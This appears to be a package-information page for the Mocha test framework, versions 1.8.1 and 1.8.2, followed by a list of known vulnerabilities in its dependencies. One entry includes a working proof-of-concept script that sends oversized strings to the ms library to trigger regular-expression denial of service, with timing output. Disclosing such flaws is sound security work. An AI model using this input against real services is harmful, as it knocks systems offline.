Mocha versions 1.8.1 and 1.8.2 represent incremental updates to this popular and versatile JavaScript test framework. Both versions share the same core dependencies, including 'ms' for time conversions, 'diff' for comparing output, 'jade' for templating, 'debug' for enhanced logging, 'growl' for system notifications, 'mkdirp' for directory creation, and 'commander' for command-line argument parsing. Developers relying on these utilities won't find any breaking changes related to them between versions. The development dependencies, 'should' for assertions and 'coffee-script' for CoffeeScript support, also remain consistent, indicating a stable development environment for users of these tools.
The key difference lies in the release date, with version 1.8.2 arriving on March 11, 2013, subsequent to version 1.8.1 released on January 30, 2013. While the provided data doesn't explicitly detail the specific changes and bug fixes included in version 1.8.2, the updated release date suggests that it likely addresses minor bugs, performance improvements, or compatibility adjustments discovered after the release of 1.8.1. Developers considering upgrading should explore the changelog for more detailed information to decide whether the changes warrant updating the mocha's version. Both versions leverage the same repository and are maintained by TJ Holowaychuk, reinforcing the project's stability and consistent authorship. For developers, this package provided an improved testing tool.
All the vulnerabilities related to the version 1.8.2 of the package
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.